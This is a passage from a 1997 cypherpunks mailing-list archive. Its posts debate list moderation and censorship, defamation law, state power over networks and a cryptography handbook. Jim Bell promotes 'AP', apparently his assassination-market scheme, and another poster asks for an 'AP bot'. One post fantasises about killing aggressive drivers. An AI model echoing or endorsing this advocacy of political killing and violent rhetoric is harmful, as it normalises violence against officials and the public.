not only fix Iraq but every other country on the face of the globe.  That's 
why the leadership will never choose it.  The fact is, George Bush and his 
cronies kept Saddam in power by intentional acts, although he would never 
admit it.


  It was the same with Hitler and 
>with so many others  -  they don't just have an excess of  "power" 
>concentrated within themselves which puts them in positions of control over 
>others  - there will have been many people who will have helped put them 
>there, expecting to derive benefits from it.
>
>And what will be done about all those people who made this "power" 
>possible?  You don't just kill the one man and be done with it - you have 
>to also "kill" the conditions which maintained him.
>Blanc

I assert AP does this quite well.   AP makes it quite impossible to maintain 
a government which pisses off even a small fraction of the population.  
Anyone who feels abused in the citizen/government relationship will be able 
to opt out when he wants.  "Abused", by my definition, is getting less 
benefit out of the arrangement than that person wants in relation to the 
assets he put in.  

 "Governments" may still exist after AP, but in name only.  They will not 
have the ability to force taxation, and they will primarily be a way to 
coordinate volunteer action, and will be dramatically shrunk from today's 
behemoths.  

Such a government can't be corrupted:  To whatever extent that corruption 
makes that government a less-attractive as a project to an honest citizen, 
he will leave it and it will shrink, making it even less able to support 
that corruption.  



Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Date: Mon, 27 Jan 1997 20:40:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Infinite Improbability Drive?
Message-ID: <199701280440.UAA17453@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Am I reading this correctly, or will the 'infinite improbability 
drive' be invented real soon now? (An odd coincidence after the Tesla 
thread too...)

--Rob

> Edupage, 26 January 1997.  Edupage, a summary of news about information
> technology, is provided three times a week as a service by Educom,
> a Washington, D.C.-based consortium of leading colleges and universities
> seeking to transform education through the use of information technology.

[..]

> COMPUTER IN A COFFEE CUP
> While a conventional computer stores its bits of information by assuming one
> of two possible states (a 1 or a 0), a quantum computer theoretically could
> store much more information by using all the potential states of anatom.
> Scientists are now proposing a new way to harness the power of quantum
> computing, using nuclear magnetic resonance devices to control the movement
> of millions of atoms within an evenly heated volume of material.  By
> coordinating the nuclear spin of the particles, physicists could make them
> act collectively as qubits (quantum bits).  A liquid with the rightthermal
> properties (such as coffee, which is known for its unusually evenheating
> characteristics) could hold up to 10 qubits, but scientists are still
> looking for ways to create a liquid computer that could hold up to 40 qubits
> -- perhaps out of "a really expensive cup of structured coffee," says a
> University of California, Santa Barbara researcher.  (Science News 18 Jan 97
> p37)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Tue, 28 Jan 1997 13:57:10 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701282157.NAA04082@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



 
> > The exercise reveals to me that only by ignoring the first paragraph
> > of your example, the part that reads "Imagine if you will a list, 
> > the original purpose of which was to act as a free and open forum 
> > for discussion of cryptography and related issues." can you make
> > a claim of content based censorship. The purpose of this list was

Maybe this was misleading, that was indeed a purpose of the list but 
it was also supposed to be a free and anarchic list where people were 
not prevented from posting whatever they want.

Even if it were the case that we accepted content based censorship 
that is no defence of the obvious class system that is in place 
whereby certain posters are automatically sent straight to the 
moderated list and others are censored regardless of the content of 
their posts.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Tue, 28 Jan 1997 13:06:28 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701282106.NAA01621@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> > ...That was the intended direction of the list, it 
> > has rapidly disentigrated over recent months into a censored list 
> > where the elite post to the main list and anyone else is nearly 
> > always relegated to a seperate list for the crypto-untermenshcen.
> 
> Again, nonsense.  The moderation experiment (moderation, not
> censorship) has been in effect for all of ONE WEEK.  Where does 
> Paul get this hysterical "recent months" stuff?  

The list has been disentigrating for some time since the disgusting 
incident when Dimitri was forcibly unsubscribed from the list. There 
have also been a number of postings from members of the list claiming 
to understand anarchism who support censorship to "protect new 
members of the list".

> > If you want to talk about intellectual dishonesty try the following:
> > 
> > Imagine if you will a list, the original purpose of which was
> > to act as a free and open forum for discussion of cryptography and 
> > related issues...
> 
> Paul's argument is the essence of literal conservativism,  "but 
> I don't things to change!"  Without change, though, there can be 
> no progress.  Moderation is a one-month experiment.  There is no
> intellectual dishonesty in saying, "let's try something else for
> a while."

So, there would be no intellectual dishonesty in a country claiming 
to be a free and open society "trying out" fascism for a month or 
two? - After all it`s a private country just as this is a private 
list....
 
> > Now imagine that list falling into a state of content based 
> > censorship and censorship based on an unspoken but ever present 
> > class structure,...
> 
> "Unspoken but ever present class structure"?  I wonder how Paul
> was able to divine this?  Certainly it is unspoken, but that, of 
> course, it because it does not exist anywhere but in Paul's
> fertile imagination.

There is a clear trend easily observable on the list whereby certain 
members postings are censored when their content is of a standard 
that, if the moderation were objective and based on content alone, 
would warrant their being sent to the censored list.

If anyone here archives all of the list postings or is willing to 
retrieve them from the archive we can run some statistical tests and 
comparisons in a few weeks once the sample is large enough, however, 
the list oberfuhrer and leutenant von Sandfort will claim the 
statistical correlation between poster reputation among the upper 
class of list members and the number of their posts let onto the 
moderated list is caused by persistent flamers so this will not 
convince them..

> > It is a foregone conclusion that the upper class of list members will 
> > have no dispute over the censorship and therefore the change will be 
> > permenant,...
> 
> Great!  I thought that hadn't been determined yet.  What a 
> relief.
 
I think you`ll find your poor attempt at making light of the 
situation does little to hide the fact that this censorship has 
finally confirmed that this is a private list and is no longer meant 
to be a free, anarchic discussion forum.

I can tell you one other thing for sure, even if the moderation 
"experiment" were to end in a month as a last ditch attempt by John 
Gilmore and Sandy Sandfort to recover some of their lost credibility 
it would be a vain and entirely unsuccesful attempt.


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 27 Jan 1997 23:12:20 -0800 (PST)
To: Kevin L Prigge <Kevin.L.Prigge-2@tc.umn.edu>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701280712.XAA22156@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Kevin L Prigge wrote:
> paul@fatmans.demon.co.uk said:

> > "cypherpunks will make the networks safe for censorship"

> "Idiots will make the networks require censorship"

The line above this one says it all, doesn't it?  If I judge you to
be "an idiot", then, if I also have the power to shut you up, I can
not only shut off your "noise" from me, but also prevent anyone else
from hearing you as well.  That's the real beauty of censorship -
if I have the power, I can make you a non-person by preventing most
people from hearing you at all.  Oh, lovely, isn't it?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 13:17:53 -0800 (PST)
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: Re: Fighting the cybercensor
Message-ID: <199701282117.NAA02726@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Phillip M. Hallam-Baker wrote:
> Dale Thorn <dthorn@gte.net> wrote in article
> > blanc wrote:
> > > From:   Dr.Dimitri Vulis

This [below] is one of the most remarkable posts I've ever seen....

> > > However U.S.G. is able to say that people of Iraq or Lybia or Cuba
> > > should not be permitted on the 'net. It also bombs Iraq and murders
> > > their civilians in retaliation for something their governments
> > > supposedly did.

> > > The U.S.G. has many more resources than most of us to do these things,
> > > including equipment, cooperative troops, money, and recognition from
> > > other governments.   If other nations disagree with the U.S.G. they
> > > have the resources to discuss, bargain, negotiate, criticize, form
> > > alliances, take their chances and retaliate, etc.

> > I wish this were true, at least of nations which would be friendly
> > to someone like me (white, Western, etc.).  A bully on a school
> > playground can always be knocked down, no matter how big or how
> > vicious he is.  Sadly, the U.S. bully cannot be knocked down.  Bad
> > enough you get nuclear, chemical, and/or biological stuff waved at
> > you - if you get into a hot war like Desert Storm, your country is
> > carpet-bombed with fleets of B-52's until it is thoroughly debilitated.

> Actually the US is being remarkably ineffective in keeping
> Cuba etc off the Net. If you don't believe me just try
> the cuban home page. We had a Web server running in Sarajevo
> during the siege back in '93. There is no way that the US govt.
> can hope to control the Internet any more than it can control the
> phone system. What is astonishing is that the Cuban authorities are
> so keen to import a technology that breaks down their propaganda.

This *is* amazing.  The cuban govt. is *eager* (keen) to subvert
their own propaganda.

> The Cold War was not won by the arms race, it was won in
> Eastern Europe which was never a major participant. The main
> instrument that won it was West German TV which broadcast
> pictures of supermarkets with full shelves into the homes
> of East Germans every night. The viewers could see that it
> was not mere propaganda and their relatives confirmed the
> fact. As a result the East German guards on the Berlin wall
> simply decided to leave their posts one night.

That's it?  The system collapsed because the guards left their posts?
And no mutiny charges?  Incredible.

> The East Germans couldn't stop the TV signals either. When
> Dresden started to become a ghost town because people wanted
> to move to a town which could recieve the broadcasts the
> East Germans ended up installing their own relay to keep
> the locals happy.

People left their own home towns just so they could watch TV?  I
know a lot of Americans who'd like to leave their towns to get away
from TV, permanently.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 27 Jan 1997 21:11:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Panamsat Offers Internet By Satellite
Message-ID: <199701280511.VAA18530@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: investor@LunaCity.com
To: "Space Investors Mailing List" <space-investors@LunaCity.com>
From: Michael_Wallis@sec.sel.sony.com
Reply-To: "Space Investors Mailing List" <space-investors@LunaCity.com>
Date: Mon, 27 Jan 1997 20:00:33 -0800
Organization: LunaCity BBS - (Clan Zen Relay Network) Mountain View, CA
Subject: Panamsat Offers Internet By Satellite
X-Mailserver: Waffle File Server (WFS), Release 3.2.ag
X-Article: 267

>From Space News Daily News Note -- 1/27/97

Panamsat Corp. of Greenwich, Conn. is now offering high-speed Internet
access by satellite.

The new service, called Spotbytes, is available worldwide to Internet
service providers.

It provides a quick connection to the Internet by avoiding terrestrial
lines and linking companies directly to backbone providers -- companies
with a main line to the Internet.

        Michael

-------------------------------------------------------------------------
Michael Wallis, Computer Consultant     Work: mwallis@sec.sel.sony.com
http: //www.wallis.com/                 Home: mwallis@wallis.com

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 13:15:57 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701282115.NAA02560@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > Kevin L Prigge wrote:
> > > paul@fatmans.demon.co.uk said:

> > > > "cypherpunks will make the networks safe for censorship"

> > > "Idiots will make the networks require censorship"

> > The line above this one says it all, doesn't it?  If I judge you to
> > be "an idiot", then, if I also have the power to shut you up, I can
> > not only shut off your "noise" from me, but also prevent anyone else
> > from hearing you as well.  That's the real beauty of censorship -
> > if I have the power, I can make you a non-person by preventing most
> > people from hearing you at all.  Oh, lovely, isn't it?

> Don't you like power, Dale?

I have a great deal of respect for power.  When I was 6, I unwound a
coat hanger and put both ends into an electrical outlet.  All I
remember from that is something like a sledgehammer hitting me, and
I went backwards rather quickly.  And I never did it again.

But seriously, I was just telling the folks over the weekend, if I
had my hand on the button, a lot of people would die very quickly.
As in The Day The Earth Stood Still, a single act of aggression would
suffice to be immediately terminated.  The best place to begin, in
the USA at least, would be the public freeways.  There you have the
most acts of aggression in a short space, and the best pickings for
liquidation.  Give me the power, and I'll show you all those nifty
techno-ways of eliminating people that have been kept from the public
by our benevolent government ("sources and methods").

BTW, I don't give a damn about someone "cutting me off", since I'm
not aggressive enough (outside of my liquidation duties) to be bothered
by that in most cases.  I'm primarily concerned with vehicles who get
too close behind, who pass with no safety margin, etc.  I call these
people anal-compulsive (as opposed to anal-retentive).  You've seen
the videos on PBS, the various animal species whose male members
perform occasional "mounting" of others to intimidate.  There are a
large percentage of humans who try to do the same thing, demonstrating
that they (IMO) have no further need of their lives.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 28 Jan 1997 13:16:01 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Toto's database
Message-ID: <199701282116.NAA02574@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> An interesting assertion. Is your database available for others to draw
> their own conclusions from? 

  As a matter of fact, it is. It consists of the cypherpunks unedited
and
flames list.

> I'd appreciate seeing at least a first-level abstraction of the data

 Given the well-developed and ratiionally strong questions you asked in
your post, I am afraid that you would find my abstractions of data
rather rudimentary, at best.
  I keep a separate directory of CypherSpam, for my own purposes, and I 
merely popped the moderation-related criticisms into another directory
and made some direct comparisons. I used my computer-brain to draw my
conclusions from, which I suppose might raise the issue of personal
bias and/or competent technology. (I regard my brain as a Pentium, but
there are others who aver that it can more closely be compared to the
digital circuitry on their office coffee-machine)

> Of course, correlation alone doesn't tell us much. If it really exists, it
> suggests that the two phenomena observed are related in some way, but it
> doesn't tell us the nature or the cause of the relationship.

  That is why the world has need of spin-doctors, conspiracy theorists 
and data-analysts.

> Another explanation would be that a moderation opponent is sending the
> spams as a way to punish the proponents of moderation.

  This is an illogical conclusion, since the proponents of moderation 
receive the censored list, and therefore do not receive the UCE/Spams.
  On the other hand, the UCE/Spams are passed along to the other lists,
despite the fact that not a single member of the list has indicated 
any desire to receive them. The fact that John and Sandy have shown
absolutely no concern for 'protecting' the list members from UCE/Spam 
until their forced censoring of 'undesirable' list members indicates 
that the 'punishment' you mention applies only to those who oppose
the censorship of list members.
 
> I think this is especially true given the relatively inexact nature of the
> "spam" weapon

  Unfortunately, the 'spam weapon' is an extremely exact science in the
hands of those familiar with remailer systems and bots.  Also, some of
the spams appear to originate from toad.com itself, as opposed to coming
from outside sources.

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Mon, 27 Jan 1997 23:25:40 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: Fighting the cybercensor
Message-ID: <199701280725.XAA22607@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> 
> At 10:21 PM 1/26/97 -0800, blanc wrote:
> >From:	jim bell (in response to Dimitri Vulis')
> >Look, I've proposed what I consider to be a remarkably consistent method to 
> >prevent the kind of political tyranny that you criticize, and I don't see
> >any recognition of this fact.
> >........................................................
> >
> >1) Jim, why do you insist on discussing this on an forum for encryption?
> 
> Because it's on-topic, that's why.  Because it's not merely a list 
> concerning METHODS of encryption, it's also about the _reasons_ for using 
> encryption, as well as the _effects_ (both small-scale and large-scale) of 
> using encryption.  

Actually AP is one of the more interesting topics here. I think that there
is a clear need for an AP bot.

Do you feel like writing it?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Tue, 28 Jan 1997 13:17:03 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701282117.NAA02665@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> 
> Kevin L Prigge wrote:
> > paul@fatmans.demon.co.uk said:
> 
> > > "cypherpunks will make the networks safe for censorship"
> 
> > "Idiots will make the networks require censorship"
> 
> The line above this one says it all, doesn't it?  If I judge you to
> be "an idiot", then, if I also have the power to shut you up, I can
> not only shut off your "noise" from me, but also prevent anyone else
> from hearing you as well.  That's the real beauty of censorship -
> if I have the power, I can make you a non-person by preventing most
> people from hearing you at all.  Oh, lovely, isn't it?
> 

Don't you like power, Dale?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 28 Jan 1997 13:16:22 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Libel/slander & crypto relevancy
Message-ID: <199701282116.NAA02614@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:50 PM 2/27/97 -0600, Jim Choate wrote:

>I predict that within the next five years these
>slander/libel laws will be used by some organization to prosecute defamation
>of their Internet presence (eg web page graffitti). Within 10 years this
>area will be one of the hotest areas of the new communications law.

Civil actions against people doing "graffiti" are only interesting where
the defendant has assets worth suing for. This economic dimension
substantially limits the number of suits which will be brought.

Corporate plaintiffs, if they chose to bring suit, would in many cases
prefer to sue in federal court. (Federal juries tend to be more
conservative and hence pro-corporate; they're also more likely to be
friendly to an out-of-town corporation suing a local individual). To sue in
federal court, the plaintiff needs to find a federal question or diversity
jurisdiction. Other causes of action (like copyright infringement,
trademark dilution, or false designation of origin) would provide a federal
question and hence federal jurisdiction.  

Criminal prosecutions for defamation (in the case of "graffiti") are still
unlikely - a much more straightforward charge would be unauthorized access
to a computer or some flavor of fraud, depending on the facts. Confusion
aids defendants, so I predict prosecutors will avoid defamation law (and
its tar pits of actual malice and the defense of truth) when they are able
to do so and still have a reasonable chance of conviction.

>If they don't
>understand the technology (eg forwarding private email to publicly
>accessible lists by accident) how in the world are they going to understand
>what is best, let along convince anyone else?

There's a world of difference between understanding technology and screwing
up once in awhile. Perhaps you've never screwed anything up (although your
summary of US defamation law ought to count), but the rest of us do, from
time to time. Were I involved in computer-related litigation, I'd choose an
attorney who could talk to a jury over an attorney who was good with
computers, hands down. Not even a question. And I'd pick an attorney who
owned up to making mistakes sometimes over someone who  imagined him or
herself somehow superior to people who fuck up now and then. 

>It has been proposed by at least one party that a district attorney or other
>public prosecutor would not act on such events. This is also naive.

I was that "party", and I guess that in trying to be civil I was actually
unclear. If you were a politically important person or organization, and if
Toto's message had caused you real damage, and if Toto were reasonably
available to prosecute, a prosecutor might get interested. But you're not
important, Toto would be difficult to extradite, and you weren't harmed. So
you picked a crappy example to make your point(s) with. Change the facts,
and you'll get a different answer. Duh.

>The
>ramifications for their political opponents to use this 'insensitive and
>clearly self-interested' refusal to act as a perfect example of how that
>prosecutor is interested in their own political career and not in the
>interest of the people they are charged with protecting as well as a good
>demonstration of their technological ignorance. It would be very difficult
>to get re-elected in such an environment.

Yeah, I'll bet that your local prosecutor's failure to prosecute Toto is
going to cost them dearly in the next election.

You picked a hypothetical which did a poor job of illustrating the points
you're making in this later message. Do you want to talk about whether or
not Toto is criminally liable for making fun of you while making a point
about ownership of networks and its relationship to freedom of speech, or
do you want to talk about the more general case of liability for
misattribution? If it's the latter, yes, there are some issues there, but I
still think that defamation law is a poor way to address them. You seem to
be having an "I've got a hammer, everything looks like a nail" problem. 

And all of this seems a bit contrived if the real crypto-relevant point is
"use digital signatures to avoid misattribution". 

>All that I ask is that instead of jumping the gun and saying 'it ain't so'
>you simply consider the ramifications from 'their' perspective. It truly is
>amazing what one can learn by walking a mile in another mans shoes. For if
>there is one truth to be learned it is that this discussion is not about how
>it is, but rather how it will be and how it should be.

Despite your closing, I haven't seen you write anything about "how it
should be", beyond the idea that people should learn more about digital
signatures. You've forwarded lots of information from other people's web
pages about defamation liability in different jurisdictions, but no
discussion about why the rules we've got now are good ones (or bad ones).
Other commentators have suggested that defamation law is obsolete (Tim May)
or should be reconsidered in light of a victim's ability (via the net) to
reply to a defamer (Mike Godwin). Do you have a proposal along these lines? 

Your message suggests to me that you're very pro-plaintiff with respect to
defamation (at least when you're the plaintiff), but you haven't explained
why other people should adopt your perspective. You did suggest that juries
are also likely to think it's in their best interests to find for
plaintiffs (because they might find themselves in similar circumstances
someday); but it's unclear to me why that reasoning wouldn't make them
equally likely to side with defendants (because they might be wrongfully
accused of doing something bad), or why your logic wouldn't apply to every
case, not just defamation cases. 

And, for what it's worth, juries aren't supposed to consider "what is in
our best interest" either as individuals nor as a community, nor is that a
legitimate topic for argument to the jury with respect to questions about
liability or guilt.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Name Withheld by Request <nobody@replay.com>
Date: Mon, 27 Jan 1997 19:31:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Reuters article: "Unstoppable Internet will defy controls"
Message-ID: <199701280331.TAA15436@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>More broadly, modern governments rely on their ability to control
>information and money to maintain control over their citizens.

>But does the Net mean we no longer need government in its present form? 

The German law professor Alexander Rossnagel has published an article
titled "Globale Datennetze: Ohnmacht des Staates - Selbstschutz der
Buerger" (global networks: state's impotence, citizens'
self-protection) in Zeitschrift fuer Rechtspolitik 1997, p. 26 ff.

He describes that decentral networks are difficult to control, and
anonymizers, encryption and steganography can be used to defy
surveillance.  "[The state] can neither enforce matters of public
interest, nor offer protection to its citizens", including protection
of privacy and legally protected secrets.  The state cannot
effectively face law violations: "If it somewhere suppresses
information, it will be 'mirrored' by many other servers world-wide.
If it blocks communication lines, the message will find a way around.
Sattelite transmission also renders the question of location almost
irrelevant.  Theresa Orlowski was denied a license for her porn
channel here.  Now she is broadcasting from Britain.  In cyberspace,
functions of social relevance, such as protection of minors, can no
longer be fulfilled by the state.  They are transferred to the parents
exclusively."

"The state can only interevene where the immaterial world of the
network touches the physical world: It can arrest criminals, seize
devices and data storage, when these physically are in its control.
It can enforce adherance to its laws where it physically can exersize
its power.  But in the incorporeal world of the network, to a large
extend it is powerless.  All these examples indicate a new fact: The
networks constitute a new incorporeal social space.  Increasingly more
social contacts, economic and legal exchanges are being transferred to
it.  In it, conditions are different from in the social relationships
of the physical world.  In this new world, the state has no means of
coercion, no monopoly of power, and no sovereignty."

"Law to be enforced requires power.  The democratic constitutional
state depends on sovereignty and obediency to laws.  Only with these
it can universally enforce democratic decisions and protect the
citizens' basic rights from violations by third parties.  To guarantee
this is the fundamental reason for the modern state to exist.  Its
protective mission continues to apply.  However, it has expanded with
the civilisatoric development.  With Hobbes, the focus was on the
procetion of life and limb, with Locke the protection of freedom and
property were added, and in this century, facing new threats, the
protection of privacy.  [... The states'] sovereignty is based on the
authority to exclusively exercise physical power in [their territory].
This sovereignty has limits in the immaterial space of global
networks.  But when the citizen no longer receives the state's
protection in the special sphere of the networks and the state can no
more enforce matters of public interest there, then its basic
legitimation in so far is in danger.  According to Thomas Hobbes, 'the
citizen's obligation to the sovereign can ... only last as long as he
is capable of protecting the citizens'."  But that would also endanger
democracy and the constitional state.

Stating that the normative strategy at large is obsolete, the author
proposes new solotions: "When the democratic constitutional state can
no longer reliably protect its citizens in the new social space of the
networks, in compensation it must enable them to protect themselves."
Information and communications technology offers various means of
protection:

* encryption and steganography
* digital signatures
* untraceable pseudonyms
* certified electronic mail
* ecash
* software agents
* connectivity management programs [whatever that is...]
* cellular phones without location data
* PICS
* secure portable user-controlled devices that support these measures

"Some of these measures - for example the encryption program PGP - can
be used without any advance concession.  The state only has to abstain
from impeding regulations.  Others - such as digital signatures -
depend on an infrastructure that allows the individual to use these
protective measures.  The citizen of information society still depends
on infrastructural prerequsites.  But there is a fundamental
difference in whether the individual can decide about using
self-controlled protective measures himself, or the state or an other
large organization offers protection that he cannot influence."

"In order to protect and preserve the /old/ goals of freedom and
self-determination in the /new/ social space of the networks, law
must permit and support /new/ technologies."

The article ends with the author's vision of a 'civil information
society' as a free democratic society where basic rights are
guaranteed by technology. "In this information society, the state has
a limited, but fundamental role. [...] it creates a framework for the
citizens to protect themselves. Thus they are enabled to freely inform
themselves, solve conflicts in free self-organization, and negotiate
and practice mutual security without depending on a big brother."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bs-org@c2.net
Date: Mon, 27 Jan 1997 18:15:07 -0800 (PST)
To: "Mullen, Patrick" <coderpunks@toad.com>
Subject: Re: Handbook of Applied Cryptography
Message-ID: <199701280215.SAA13503@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Can anybody inform me where to get this book in Europa or can anybody
buy it in USA and send it to me. I wil post the money immediately plus shipping



At 17:10 1997-01-27 -0500, Mullen, Patrick wrote:
>(My apologies if someone else has posted this information and I missed
>it.)
>
>_Handbook_of_Applied_Cryptography_, Menezes, Oorschot, Vanstone, 
>	CRC Press, Boca Raton, 1997
>
>With a foreword by R.L. Rivest
>
>Contents in Brief:
>Table of Contents	v
>List of Tables		xv
>List of Figures		xix
>Foreword		xxi
>Preface			xxiii
>
>1 Overview of Cryptography	1
>2 Mathematical Background	49
>3 Number-Theoretic Reverence
>	Problems		87
>4 Pulic-Key Parameters		133
>5 Pseudorandom Bits and
>	Sequences		169
>6 Stream Ciphers		191
>7 Block Ciphers			223
>8 Public-Key Encryption		283
>9 Hash Functions and Data
>	Integrity			321
>10 Identification and Entity
>	Authentication		385
>11 Digital Signatures		425
>12 Key Establishment 
>	Protocols		489
>13 Key Management Techniques	543
>14 Efficient Implementation	591
>15 Patents and Standards	635
>A Bibliography of Papers from
>	Selected Cryptographic
>	Forums			663
>
>References			703
>Index				775
>
>>From the back cover:
>
><< BEGIN QUOTE >>
>Cryptography, in particular public-key cryptography, has emerged in the
>las 20 years as an important discipline that is not only the subject of
>an
>enormous amount of research, but provides the foundation for information
>security in many applications.  Standards are emerging to meet the
>demands
>for cryptographic protection in most areas of data communications.
>Public-
>key cryptographic techniques are now in widespread use in industry, 
>especially in the financial services industry, in the public sector, and
>by
>individuals for their personal privacy, such as in electronic mail.
>This 
>Handbook will serve as a valuable reference for the novice as well as
>for
>the expert who needs a wider scope of coverage within the aread of
>cryptography.  It is a necessary and timely guide for professionals who
>practice the art of cryptography.
>
>The _Handbook_of_Applied_Cryptography_ provides a treatment that 
>is multifunctional:
>
>* It serves as an introduction to the more practical aspects of
>  both conventional and public-key cryptography
>
>* It is a valuable source of the latest techniques and algorithms
>  for the serious practitioner
>
>* It provides an integrated treatment of the field, whil still
>  presenting each major topic as a self-contained unit
>
>* It provides a mathematical treatment to accompany 
>  practical discussions
>
>* It contains enough abstractoin to be a valuable reference for
>  theoreticians while containing enough detail to actually allow
>  implementation of the algorithms discussed
>
>This is the definitive cryptography reference that novice as well as
>experienced
>developers, designers, researchers, engineers, computer scientists, and
>mathematicials alike will find indispensable.
><< END QUOTE >>
>
>~~ Patrick
>
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Tue, 28 Jan 1997 13:14:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Trigger-Words...
Message-ID: <199701282114.NAA02411@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hi there,

does anybody know any contact points/Web pages, where I might get
some information on e-mail filtering via trigger-words? I am
interested in how this technology specifically works and a
collection of trigger-words would be nice too :)

Thanks in advance...

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMuhpbjltEBIEF0MBAQGiOwf+N61i3Vj1XjmhKLm+qispHDxsu4Wde8nb
BtMkVOAt9MGlihKftUAvp7l8aUcr5+D5jFh4/1VllO+QeZ4Yni9kM40xBLry1LYD
yiLqpeNMfz2Zf6XMqGaNc8lblx9qyNHyJBHf5p8OfJWN47LcIn8CYkhDSq6b3Sch
rHNBg8RjuCKQGD3XlCkwZLrYCUiCPFmSkKeuYpSaPkXgqgf7Zku68RrmqhRzbF1m
UneIgxMXqWFetIBHe8PIcQpLrN0X+lRMCnCFVY9x7Rsy4QJc3f8lZ7YKo2xDiGXb
Ly+wiA6sexlwwf+BdLDRu3fshI4eCpe7KbfWmzf3z0pdpvdRfUiJuw==
=KEb+
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lynx_User@linux.nycmetro.com
Date: Tue, 28 Jan 1997 13:16:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: uae_1.html
Message-ID: <199701282116.NAA02609@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



                             Reuters New Media
                                      
   
                    [ Yahoo | Write Us | Search | Info ]
                                      
   
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
                                      
     _________________________________________________________________
                                      
